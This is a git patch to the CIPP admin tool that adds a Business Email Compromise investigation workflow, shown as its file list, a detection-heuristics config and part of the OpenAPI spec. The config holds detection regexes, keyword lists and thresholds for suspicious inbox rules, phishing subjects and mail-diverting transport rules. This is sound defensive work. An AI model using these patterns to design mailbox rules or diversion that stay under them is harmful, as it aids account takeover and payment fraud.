From 70f357e87417865f019610fec68924fe74b0d2e2 Mon Sep 17 00:00:00 2001 From: Zacgoose <107489668+Zacgoose@users.noreply.github.com> Date: Mon, 24 Aug 2026 21:15:28 +0800 Subject: [PATCH 01/27] feat(bec): add full BEC case workflow --- .gitignore | 3 + backend/Config/BecHeuristics.json | 188 + backend/Config/openapi.json | 662 +++- .../Activity Triggers/BEC/Push-BECRun.ps1 | 705 +++- .../Alerts/Get-CIPPAlertNewRiskyUsers.ps1 | 26 +- .../Get-CIPPAsyncDeployment.ps1 | 2 + .../Public/BEC/Disable-CIPPInboxRules.ps1 | 70 + .../Public/BEC/Disable-CIPPMailboxApp.ps1 | 42 + .../BEC/Get-CIPPBecContainmentActions.ps1 | 41 + .../Public/BEC/Get-CIPPBecDirectoryAudits.ps1 | 91 + .../Public/BEC/Get-CIPPBecErrorInfo.ps1 | 48 + .../Public/BEC/Get-CIPPBecHeuristics.ps1 | 51 + .../Public/BEC/Get-CIPPBecMailActivity.ps1 | 138 + .../BEC/Get-CIPPBecMailboxInventory.ps1 | 252 ++ .../Public/BEC/Get-CIPPBecMessageTrace.ps1 | 101 + .../BEC/Get-CIPPBecNonInteractiveSignIns.ps1 | 60 + .../BEC/Get-CIPPBecReceivedMailFindings.ps1 | 181 + .../BEC/Get-CIPPBecRegisteredDevices.ps1 | 53 + .../CIPPCore/Public/BEC/Get-CIPPBecReport.ps1 | 75 + .../Public/BEC/Get-CIPPBecRiskState.ps1 | 97 + .../Public/BEC/Get-CIPPBecRogueAppFeed.ps1 | 114 + .../Public/BEC/Get-CIPPBecRunSteps.ps1 | 34 + .../CIPPCore/Public/BEC/Get-CIPPBecScore.ps1 | 138 + .../Public/BEC/Get-CIPPBecTransportRules.ps1 | 127 + .../Public/BEC/Get-CIPPBecUserGrants.ps1 | 150 + .../Public/BEC/Invoke-CIPPBecContainment.ps1 | 320 ++ .../CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1 | 18 + .../Public/BEC/New-CIPPBecCollectorResult.ps1 | 57 + .../Public/BEC/New-CIPPBecEvidencePackage.ps1 | 179 + .../Public/BEC/New-CIPPBecRunRequest.ps1 | 86 + .../BEC/New-CIPPBecTargetedCAPolicy.ps1 | 100 + .../Public/BEC/Remove-CIPPBecReport.ps1 | 40 + .../Public/BEC/Remove-CIPPBecSharingLinks.ps1 | 87 + .../BEC/Remove-CIPPBecTargetedCAPolicy.ps1 | 62 + .../BEC/Remove-CIPPMailboxDelegation.ps1 | 71 + .../Public/BEC/Remove-CIPPUserOAuthGrant.ps1 | 65 + .../Public/BEC/Search-CIPPBecAuditLog.ps1 | 164 + .../CIPPCore/Public/BEC/Set-CIPPBecReport.ps1 | 73 + .../BEC/Set-CIPPCASMailboxProtocols.ps1 | 55 + .../Public/BEC/Set-CIPPEntraDeviceState.ps1 | 52 + .../BEC/Set-CIPPServicePrincipalState.ps1 | 45 + .../Public/BEC/Set-CIPPTransportRuleState.ps1 | 44 + .../Public/GraphHelper/Write-LogMessage.ps1 | 5 + .../Public/Set-CippBecCaseContext.ps1 | 25 + .../Webhooks/Invoke-CIPPWebhookProcessing.ps1 | 37 +- .../Webhooks/Test-CIPPAuditLogRules.ps1 | 20 +- .../Invoke-ListMailQuarantineMessage.ps1 | 2 + ...nvoke-ListMailQuarantineMessageDetails.ps1 | 2 + ...Invoke-ListMailQuarantineMessageHeader.ps1 | 2 + .../Users/Invoke-ExecBECBulkCheck.ps1 | 93 + .../Users/Invoke-ExecBECCheck.ps1 | 162 +- .../Users/Invoke-ExecBECEvidenceExport.ps1 | 53 + .../Users/Invoke-ExecBECRemediate.ps1 | 238 +- .../Users/Invoke-ExecBECReport.ps1 | 46 + .../Users/Invoke-ListBECEvidence.ps1 | 62 + .../Users/Invoke-ListBECPhishingSpread.ps1 | 81 + .../Invoke-ListBECRemediationActions.ps1 | 29 + .../Users/Invoke-ListBECReports.ps1 | 56 + .../Administration/Alerts/Invoke-AddAlert.ps1 | 3 + .../Alerts/Invoke-ListAlertsQueue.ps1 | 1 + .../ActivityTriggers/Push-BECRun.Tests.ps1 | 292 ++ .../Invoke-ExecBECBulkCheck.Tests.ps1 | 130 + .../Endpoint/Invoke-ExecBECCheck.Tests.ps1 | 196 ++ .../Invoke-ExecBECRemediate.Tests.ps1 | 82 + .../Tests/Private/BecReportStorage.Tests.ps1 | 136 + backend/Tests/Private/BecRunRequest.Tests.ps1 | 60 + .../Private/Disable-CIPPInboxRules.Tests.ps1 | 48 + .../Private/Get-CIPPBecErrorInfo.Tests.ps1 | 42 + .../Private/Get-CIPPBecHeuristics.Tests.ps1 | 75 + .../Get-CIPPBecMailboxInventory.Tests.ps1 | 174 + .../Private/Get-CIPPBecMessageTrace.Tests.ps1 | 82 + .../Get-CIPPBecReceivedMailFindings.Tests.ps1 | 175 + .../Tests/Private/Get-CIPPBecScore.Tests.ps1 | 135 + .../Get-CIPPBecTransportRules.Tests.ps1 | 111 + .../Private/Get-CIPPBecUserGrants.Tests.ps1 | 128 + .../Invoke-CIPPBecContainment.Tests.ps1 | 200 ++ .../New-CIPPBecCollectorResult.Tests.ps1 | 32 + .../New-CIPPBecEvidencePackage.Tests.ps1 | 117 + .../Remove-CIPPBecSharingLinks.Tests.ps1 | 72 + .../Private/Search-CIPPBecAuditLog.Tests.ps1 | 146 + build/tools/New-BecSimTestData.ps1 | 440 +++ docs/SUMMARY.md | 1 + .../identity/administration/users/user/bec.md | 107 +- .../identity/reports/bec-reports.md | 39 + .../components/BECRemediationReportButton.jsx | 3126 ++++++++++++----- .../CippCards/CippBecRunStatusCard.jsx | 344 ++ .../CippCards/CippBecTriageHeader.jsx | 297 ++ .../CippBecContainmentDrawer.jsx | 477 +++ .../CippBecCorrelationGraph.jsx | 486 +++ .../CippBecEvidenceDownload.jsx | 180 + .../CippBecEvidenceExportButton.jsx | 134 + .../CippComponents/CippBecObjectiveGroups.jsx | 728 ++++ .../CippBecPhishingSpreadDialog.jsx | 152 + .../CippBecRemediationHistory.jsx | 109 + .../CippComponents/CippBecTimelineCustom.jsx | 138 + .../CippBecTimelineEvaluator.jsx | 67 + .../CippComponents/CippExchangeActions.jsx | 2 +- .../CippComponents/CippUserActions.jsx | 16 +- .../components/CippPdf/previewSampleData.js | 174 +- .../CippPdf/reportPdfPrimitives.jsx | 352 +- frontend/src/data/alerts.json | 6 +- frontend/src/layouts/config.jsx | 7 + .../administration/risky-users/index.jsx | 2 +- .../administration/users/user/bec.jsx | 1116 ------ frontend/src/pages/identity/bec/case.jsx | 353 ++ frontend/src/pages/identity/bec/index.jsx | 289 ++ .../reports/risk-detections/index.jsx | 2 +- .../alert-configuration/alert.jsx | 26 + .../tenant/administration/audit-logs/log.jsx | 2 +- frontend/src/utils/bec-objectives.js | 498 +++ frontend/src/utils/bec-timeline.js | 414 +++ frontend/src/utils/icon-registry.jsx | 4 + frontend/src/utils/route-redirects.js | 9 +- .../BECRemediationReportButton.test.jsx | 95 + .../tests/components/CippBecTimeline.test.jsx | 97 + .../CippCards/CippBecRunStatusCard.test.jsx | 206 ++ .../CippBecContainmentDrawer.test.jsx | 165 + .../CippBecEvidenceExportButton.test.jsx | 99 + 118 files changed, 16425 insertions(+), 2651 deletions(-) create mode 100644 backend/Config/BecHeuristics.json create mode 100644 backend/Modules/CIPPCore/Public/BEC/Disable-CIPPInboxRules.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Disable-CIPPMailboxApp.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecContainmentActions.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecDirectoryAudits.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecErrorInfo.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecHeuristics.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailActivity.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMailboxInventory.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecMessageTrace.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecNonInteractiveSignIns.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReceivedMailFindings.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRegisteredDevices.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecReport.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRiskState.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRogueAppFeed.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecRunSteps.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecScore.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecTransportRules.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecUserGrants.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Invoke-CIPPBecContainment.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCaseId.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/New-CIPPBecCollectorResult.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/New-CIPPBecEvidencePackage.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/New-CIPPBecRunRequest.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/New-CIPPBecTargetedCAPolicy.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecReport.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecSharingLinks.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Remove-CIPPBecTargetedCAPolicy.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Remove-CIPPMailboxDelegation.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Remove-CIPPUserOAuthGrant.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Search-CIPPBecAuditLog.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Set-CIPPBecReport.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Set-CIPPCASMailboxProtocols.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Set-CIPPEntraDeviceState.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Set-CIPPServicePrincipalState.ps1 create mode 100644 backend/Modules/CIPPCore/Public/BEC/Set-CIPPTransportRuleState.ps1 create mode 100644 backend/Modules/CIPPCore/Public/Set-CippBecCaseContext.ps1 create mode 100644 backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECBulkCheck.ps1 create mode 100644 backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECEvidenceExport.ps1 create mode 100644 backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ExecBECReport.ps1 create mode 100644 backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECEvidence.ps1 create mode 100644 backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECPhishingSpread.ps1 create mode 100644 backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECRemediationActions.ps1 create mode 100644 backend/Modules/CIPPHTTP/Public/Entrypoints/HTTP Functions/Identity/Administration/Users/Invoke-ListBECReports.ps1 create mode 100644 backend/Tests/ActivityTriggers/Push-BECRun.Tests.ps1 create mode 100644 backend/Tests/Endpoint/Invoke-ExecBECBulkCheck.Tests.ps1 create mode 100644 backend/Tests/Endpoint/Invoke-ExecBECCheck.Tests.ps1 create mode 100644 backend/Tests/Endpoint/Invoke-ExecBECRemediate.Tests.ps1 create mode 100644 backend/Tests/Private/BecReportStorage.Tests.ps1 create mode 100644 backend/Tests/Private/BecRunRequest.Tests.ps1 create mode 100644 backend/Tests/Private/Disable-CIPPInboxRules.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecErrorInfo.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecHeuristics.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecMailboxInventory.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecMessageTrace.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecReceivedMailFindings.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecScore.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecTransportRules.Tests.ps1 create mode 100644 backend/Tests/Private/Get-CIPPBecUserGrants.Tests.ps1 create mode 100644 backend/Tests/Private/Invoke-CIPPBecContainment.Tests.ps1 create mode 100644 backend/Tests/Private/New-CIPPBecCollectorResult.Tests.ps1 create mode 100644 backend/Tests/Private/New-CIPPBecEvidencePackage.Tests.ps1 create mode 100644 backend/Tests/Private/Remove-CIPPBecSharingLinks.Tests.ps1 create mode 100644 backend/Tests/Private/Search-CIPPBecAuditLog.Tests.ps1 create mode 100644 build/tools/New-BecSimTestData.ps1 create mode 100644 docs/user-documentation/identity/reports/bec-reports.md create mode 100644 frontend/src/components/CippCards/CippBecRunStatusCard.jsx create mode 100644 frontend/src/components/CippCards/CippBecTriageHeader.jsx create mode 100644 frontend/src/components/CippComponents/CippBecContainmentDrawer.jsx create mode 100644 frontend/src/components/CippComponents/CippBecCorrelationGraph.jsx create mode 100644 frontend/src/components/CippComponents/CippBecEvidenceDownload.jsx create mode 100644 frontend/src/components/CippComponents/CippBecEvidenceExportButton.jsx create mode 100644 frontend/src/components/CippComponents/CippBecObjectiveGroups.jsx create mode 100644 frontend/src/components/CippComponents/CippBecPhishingSpreadDialog.jsx create mode 100644 frontend/src/components/CippComponents/CippBecRemediationHistory.jsx create mode 100644 frontend/src/components/CippComponents/CippBecTimelineCustom.jsx create mode 100644 frontend/src/components/CippComponents/CippBecTimelineEvaluator.jsx delete mode 100644 frontend/src/pages/identity/administration/users/user/bec.jsx create mode 100644 frontend/src/pages/identity/bec/case.jsx create mode 100644 frontend/src/pages/identity/bec/index.jsx create mode 100644 frontend/src/utils/bec-objectives.js create mode 100644 frontend/src/utils/bec-timeline.js create mode 100644 frontend/tests/components/BECRemediationReportButton.test.jsx create mode 100644 frontend/tests/components/CippBecTimeline.test.jsx create mode 100644 frontend/tests/components/CippCards/CippBecRunStatusCard.test.jsx create mode 100644 frontend/tests/components/CippComponents/CippBecContainmentDrawer.test.jsx create mode 100644 frontend/tests/components/CippComponents/CippBecEvidenceExportButton.test.jsx diff --git a/.gitignore b/.gitignore index 6a0a36bf9d..d1cf59b98c 100644 --- a/.gitignore +++ b/.gitignore @@ -42,3 +42,6 @@ AGENTS.md # Static copy of the generated OpenAPI spec, written by build-openapi.ps1 so the # in-app Swagger UI can read it without going through the API. Generated, not authored. frontend/public/openapi.json + + +node_modules/ diff --git a/backend/Config/BecHeuristics.json b/backend/Config/BecHeuristics.json new file mode 100644 index 0000000000..5771eec437 --- /dev/null +++ b/backend/Config/BecHeuristics.json @@ -0,0 +1,188 @@ +{ + "metadata": { + "name": "CIPP BEC Heuristics", + "description": "Detection heuristics, thresholds, collector caps and threat-score weights used by the Business Email Compromise check (Push-BECRun) and its server-side score (Get-CIPPBecScore). Everything here operates on metadata only - audit records, sign-ins, trace headers, permissions, grants, rules and devices - never on message bodies, attachments or file contents.", + "sections": { + "window": "Analysis window in days. Every 'in window' check and the recency flags use it.", + "caps": "Paging and storage caps per collector. When a cap is hit the collector reports Complete=false and the cap value so the report can say the data is partial.", + "score": "Additive threat-score weights and the High/Medium thresholds. The first fifteen weights are the ones the PDF report used before the score moved server-side and must stay aligned with it.", + "inboxRules": "Regexes that mark an inbox rule as suspicious.", + "highRiskAuditOperations": "Unified audit log operations that are treated as high risk when attributed to the investigated user.", + "phishingSubjectPatterns": "Named regexes applied to received-mail subjects from message-trace metadata.", + "typosquat": "Levenshtein distance band that flags a sender domain as a look-alike of one of the tenant's accepted domains.", + "riskyScopes": "Delegated OAuth scopes that make a user grant risky; the RiskyPermissions.json catalog is merged in at load time.", + "transportRules": "Transport-rule actions that indicate mail diversion or suppression, matched on parameter names and on the rule description.", + "directoryAudit": "Entra directory-audit activity names that matter during a compromise investigation.", + "mailActivity": "Unified audit log operations counted (never stored row by row) for the mailbox-activity check.", + "sentMail": "Mass-mail thresholds for the sent message trace analysis." + } + }, + "window": { + "days": 7 + }, + "caps": { + "auditLogPageSize": 5000, + "auditLogPages": 10, + "mailActivityPages": 10, + "messageTracePageSize": 5000, + "messageTracePages": 5, + "storedSentMessages": 1000, + "storedReceivedMessages": 500, + "storedMailActivityGroups": 500, + "signIns": 50, + "nonInteractiveSignIns": 50, + "directoryAudits": 500, + "transportRuleChanges": 200, + "riskDetections": 50, + "defenderMessages": 1000 + }, + "score": { + "thresholds": { + "high": 7, + "medium": 4 + }, + "newUsersThreshold": 5, + "weights": { + "NewRules": 3, + "InboxRuleChanges": 3, + "PermissionChangesTargetingUser": 2, + "PermissionChanges": 1, + "NewApps": 1, + "NewUsers": 1, + "SafelistChanges": 2, + "SuspiciousRules": 5, + "MaliciousApps": 5, + "ForeignSuccessfulSignIns": 3, + "ForeignActivity": 3, + "AnonymousLinks": 3, + "MassMail": 3, + "RecentMfaMethods": 2, + "RecentIntuneDevices": 2, + "FlaggedDelegations": 2, + "RiskyUserGrants": 3, + "CatalogUserGrants": 5, + "RiskyTransportRuleChanges": 4, + "FlaggedMailboxAddIns": 1, + "TyposquatSenders": 3, + "DefenderDetections": 3, + "FlaggedDirectoryAudits": 2, + "RecentRegisteredDevices": 2, + "ForeignNonInteractiveSignIns": 3, + "SuspiciousMailActivity": 2, + "RiskyUserHigh": 4, + "RiskyUserMedium": 2, + "RiskyUserLow": 1, + "ConfirmedCompromised": 5 + } + }, + "inboxRules": { + "suspiciousFolderPattern": "RSS", + "lowVisibilityFolderRegex": "(?i)(rss|archive|deleted|junk|conversation history|notes|sync issues)", + "sensitiveNameRegex": "(?i)(invoice|payment|security|alert|verify|microsoft|admin)", + "sensitiveKeywordRegex": "(?i)(invoice|payment|wire|remittance|bank|swift|iban|ach|routing|account number|beneficiary|payroll|password|credential|verif|urgent|confidential)" + }, + "highRiskAuditOperations": [ + "Add-MailboxPermission", + "Add-RecipientPermission", + "Add-RoleGroupMember", + "New-InboxRule", + "Set-InboxRule", + "UpdateInboxRules", + "Set-AdminAuditLogConfig", + "Set-OrganizationConfig", + "HardDelete", + "Purge-ComplianceSearchAction", + "New-TransportRule", + "Set-TransportRule", + "Set-Mailbox" + ], + "phishingSubjectPatterns": { + "Urgent action language": "(?i)urgent.{0,25}(action|response).{0,25}required", + "Account verification language": "(?i)(verify|validate).{0,25}(account|identity|password)", + "Account suspension language": "(?i)(suspend|disable|expire).{0,25}(account|mailbox|access)", + "Prize or lottery language": "(?i)\\b(winner|lottery|prize|gift card)\\b", + "Invoice or payment language": "(?i)\\b(invoice|payment|wire|remittance)\\b" + }, + "phishingKeywordPattern": "(?i)\\b(urgent|verify|suspend(?:ed)?|password|credential|invoice|payment|wire|gift card|confidential)\\b", + "typosquat": { + "minDistance": 1, + "maxDistance": 2 + }, + "riskyScopes": { + "regex": "(?i)(\\.ReadWrite(\\.All)?$|\\.All$|Mail\\.|Files\\.|Directory\\.|RoleManagement\\.|offline_access)", + "includeRiskyPermissionsCatalog": true + }, + "transportRules": { + "operations": [ + "New-TransportRule", + "Set-TransportRule", + "Enable-TransportRule", + "Disable-TransportRule", + "Remove-TransportRule" + ], + "riskyParameterRegex": "(?i)^(BlindCopyTo|RedirectMessageTo|CopyTo|AddToRecipients|AddManagerAsRecipientType|RouteMessageOutboundConnector|ModerateMessageByUser|ModerateMessageByManager)$", + "recentParameterRegex": "(?i)^(DeleteMessage|Quarantine|SetSCL|RemoveHeader|SetHeaderName)$", + "descriptionRegex": "(?i)(redirect|blind copy|bcc|delete|quarantine|set the spam confidence)" + }, + "directoryAudit": { + "flaggedActivities": [ + "User registered security info", + "User registered all required security info", + "User started security info registration", + "User changed default security info", + "User deleted security info", + "Admin registered security info", + "Update user", + "Reset password (by admin)", + "Change user password", + "Reset user password", + "Update StsRefreshTokenValidFrom Timestamp", + "Consent to application", + "Add OAuth2PermissionGrant", + "Add app role assignment to service principal", + "Add app role assignment grant to user", + "Add service principal", + "Add service principal credentials", + "Add delegated permission grant", + "Register device", + "Add device", + "Add registered owner to device", + "Add registered users to device", + "Add member to role", + "Add eligible member to role", + "Disable Strong Authentication", + "Update user attributes (StrongAuthentication)" + ] + }, + "mailActivity": { + "userOperations": [ + "MailItemsAccessed", + "HardDelete", + "SoftDelete", + "MoveToDeletedItems", + "Send" + ], + "mailboxOwnerOperations": [ + "SendAs", + "SendOnBehalf" + ], + "hardDeleteThreshold": 20 + }, + "sentMail": { + "repeatSubjectMessages": 5, + "repeatSubjectRecipients": 20, + "minRepeatedSubjectMessages": 3, + "burstMessages": 10, + "burstRecipients": 30, + "burstWindowMinutes": 10 + }, + "mailboxAddIns": { + "trustedProviderRegex": "(?i)^microsoft" + }, + "delegations": { + "folderScopes": [ + "Calendar", + "Inbox" + ] + } +} diff --git a/backend/Config/openapi.json b/backend/Config/openapi.json index e019e96418..8058e157c5 100644 --- a/backend/Config/openapi.json +++ b/backend/Config/openapi.json @@ -251,6 +251,13 @@ "AlertComment": { "type": "string" }, + "becActions": { + "type": "array", + "items": { + "$ref": "#/components/schemas/LabelValue" + }, + "description": "Which containment actions the 'becremediate' action runs (ListBECRemediationActions ids); empty = the default six." + }, "conditions": { "type": "array", "items": { @@ -15078,18 +15085,92 @@ "x-cipp-role": "Tenant.Baselines.ReadWrite" } }, - "/api/ExecBECCheck": { + "/api/ExecBECBulkCheck": { "get": { - "summary": "ExecBECCheck", + "summary": "Queues Business Email Compromise investigations for many users at once.", + "operationId": "ExecBECBulkCheck", + "tags": [ + "Identity > Administration > Users" + ], + "description": "Queues one BEC investigation per user as a single orchestration with a queue entry for progress. Accepts either an array of { UserIds, tenantFilter } items (the Users table bulk action) or one object with UserIds[]. Selection=ForeignSuccessfulSignIns picks every user with a successful sign-in in the last 7 days from outside their usage location instead of an explicit list. Each run gets its own case id; results appear on the BEC Reports page and each user's Compromise Remediation tab.", + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "description": "Not described statically: this endpoint returns the upstream response as-is, so its fields are determined by the upstream API rather than by CIPP. Call the endpoint to see the actual shape, or add a response schema in backend/Config/openapi-overrides." + } + } + } + }, + "401": { + "description": "Unauthorized - invalid or missing bearer token" + }, + "403": { + "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" + } + }, + "security": [ + { + "bearerAuth": [] + } + ], + "x-cipp-role": "Identity.User.Read" + } + }, + "/api/ExecBECCheck": { + "post": { + "summary": "Reads, polls or starts a Business Email Compromise investigation.", "operationId": "ExecBECCheck", "tags": [ "Identity > Administration > Users" ], - "description": "Returns the business email compromise assessment for a user: sign-ins with a location analysis against the user's assigned usage location, mailbox rules and rule changes, trusted/blocked sender changes, OneDrive and SharePoint sharing link activity, added applications matched against the known-malicious catalog, MFA methods, Intune devices, sent mail, and tenant-wide password changes. If no cached result exists the check is queued as a background job and the response reports it as waiting, so poll rather than expecting results on the first call. Pass overwrite=true to force a fresh run.", + "description": "GET with GUID (or caseId) returns that run: while it is queued or running { Waiting = true, Progress } where Progress is the job status (queued until a worker picks it up, then running) and the per-step state the page renders; { Error, Progress } when it failed; otherwise the results payload with the server-side Score, per-collector Completeness and a Run block. A queued or running run whose progress has not moved for 20 minutes is marked failed by this poll (the worker restarted or the run was abandoned) and returned as { Error }. GET without a GUID returns the user's latest run as { GUID, Status } and starts nothing (GUID is null when the user has no runs). POST with tenantFilter, userid and userName queues a new run and returns its { GUID }; GET with overwrite=true does the same for older callers. Every run is the full investigation and is kept in the BecReports table; metadata only, never message content.", + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "tenantFilter": { + "type": "string" + }, + "userid": { + "type": "string", + "description": "Object id of the user to investigate" + }, + "userName": { + "type": "string", + "description": "The user's UPN (stored on the run and used by the collectors)" + } + }, + "required": [ + "tenantFilter" + ] + } + } + } + }, "parameters": [ + { + "name": "caseId", + "in": "query", + "description": "The run to read; GUID keeps the original poll contract", + "required": false, + "schema": { + "type": "string" + } + }, { "name": "GUID", "in": "query", + "description": "The run to read; GUID keeps the original poll contract", "required": false, "schema": { "type": "string" @@ -15098,6 +15179,7 @@ { "name": "overwrite", "in": "query", + "description": "A POST body, or overwrite=true on GET, starts a new run", "required": false, "schema": { "type": "boolean" @@ -15109,6 +15191,7 @@ { "name": "userid", "in": "query", + "description": "Object id of the user to investigate", "required": false, "schema": { "type": "string" @@ -15117,6 +15200,7 @@ { "name": "userName", "in": "query", + "description": "The user's UPN (stored on the run and used by the collectors)", "required": false, "schema": { "type": "string" @@ -15130,40 +15214,120 @@ "application/json": { "schema": { "type": "object", - "description": "Derived from the fields written into the storage table it reads, and the fields the endpoint selects onto each record. Fields taken from the storage writers may be omitted by this endpoint, and the response may carry computed fields not listed here.", + "description": "Derived from the fields the endpoint selects onto each record. The response may carry more; these are the ones known to exist.", "properties": { - "Batch": { + "CaseId": { "x-cipp-field-source": "backend" }, - "ETag": { - "type": "string", - "x-cipp-field-source": "storage" + "Containment": { + "x-cipp-field-source": "backend" }, - "OrchestratorName": { + "EvidenceCreatedAt": { "x-cipp-field-source": "backend" }, - "PartitionKey": { - "x-cipp-field-source": "storage" + "EvidenceSha256": { + "x-cipp-field-source": "backend" }, - "Results": { - "type": "string", - "x-cipp-field-source": "storage" + "ExtractedAt": { + "x-cipp-field-source": "backend" }, - "RowKey": { - "x-cipp-field-source": "storage" + "RequestedAt": { + "x-cipp-field-source": "backend" }, - "SkipLog": { + "RequestedBy": { + "x-cipp-field-source": "backend" + }, + "Scope": { "x-cipp-field-source": "backend" }, "Status": { - "x-cipp-field-source": "storage" + "x-cipp-field-source": "backend" + } + } + } + } + } + }, + "401": { + "description": "Unauthorized - invalid or missing bearer token" + }, + "403": { + "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" + } + }, + "security": [ + { + "bearerAuth": [] + } + ], + "x-cipp-role": "Identity.User.Read" + } + }, + "/api/ExecBECEvidenceExport": { + "post": { + "summary": "Builds the evidence package for a Business Email Compromise run and returns it.", + "operationId": "ExecBECEvidenceExport", + "tags": [ + "Identity > Administration > Users" + ], + "description": "Collates the run's stored results, one CSV per finding set, the containment history, every logbook entry stamped with the case id and the PDF report when pdfBase64 is supplied into a ZIP with a manifest listing the SHA-256 of every file. Nothing is stored: the ZIP is returned base64-encoded (ZipBase64) for the browser to save, and only the export record - hash, time, size - is kept on the run so a copy can be verified later. Metadata only - nothing in the package is message content.", + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "caseId": { + "type": "string" + }, + "pdfBase64": { + "type": "string", + "description": "optional: the report PDFs rendered in the browser, base64-encoded (full report + C-suite summary)" + }, + "pdfSummaryBase64": { + "type": "string" + }, + "tenantFilter": { + "type": "string" + } + }, + "required": [ + "tenantFilter" + ] + } + } + } + }, + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "description": "Derived from the fields the endpoint selects onto each record. The response may carry more; these are the ones known to exist.", + "properties": { + "Bytes": { + "x-cipp-field-source": "backend" }, - "Timestamp": { - "type": "string", - "x-cipp-field-source": "storage" + "CaseId": { + "x-cipp-field-source": "backend" }, - "UserId": { - "x-cipp-field-source": "storage" + "FileCount": { + "x-cipp-field-source": "backend" + }, + "Manifest": { + "x-cipp-field-source": "backend" + }, + "ZipBase64": { + "x-cipp-field-source": "backend" + }, + "ZipSha256": { + "x-cipp-field-source": "backend" } } } @@ -15175,6 +15339,9 @@ }, "403": { "description": "Forbidden - caller lacks the required RBAC role" + }, + "500": { + "description": "Internal server error" } }, "security": [ @@ -15187,11 +15354,12 @@ }, "/api/ExecBECRemediate": { "post": { - "summary": "ExecBECRemediate", + "summary": "Runs selectable Business Email Compromise containment for a user.", "operationId": "ExecBECRemediate", "tags": [ "Identity > Administration > Users" ], + "description": "Runs the selected containment actions (see ListBECRemediationActions) for a user. With no Actions the original six steps run: reset password, block sign-in, revoke sessions, remove MFA methods, disable inbox rules, disable OneDrive sharing. Actions marked Critical require Confirmation to equal the user's UPN. Pass CaseId to resolve default targets (flagged consents, delegations, rules, devices) from that BEC run and to record the outcome on it; Parameters carries explicit per-action targets (MfaMethodIds, GrantIds, AppRoleAssignmentIds, ServicePrincipalIds, RuleIds, Delegations, TransportRuleIds, AddInIds, Protocols, MobileDeviceIds, RegisteredDeviceIds, CAPolicy).", "requestBody": { "required": true, "content": { @@ -15199,6 +15367,24 @@ "schema": { "type": "object", "properties": { + "Actions": { + "type": "array", + "items": { + "$ref": "#/components/schemas/LabelValue" + }, + "description": "Action ids from ListBECRemediationActions; empty runs the default six" + }, + "CaseId": { + "type": "string", + "description": "the BEC run whose findings supply default targets and which records the outcome" + }, + "Confirmation": { + "type": "string", + "description": "must equal the user's UPN when a Critical action is selected" + }, + "Parameters": { + "type": "string" + }, "tenantFilter": { "type": "string" }, @@ -15210,7 +15396,9 @@ } }, "required": [ - "tenantFilter" + "tenantFilter", + "userid", + "username" ] } } @@ -15223,16 +15411,86 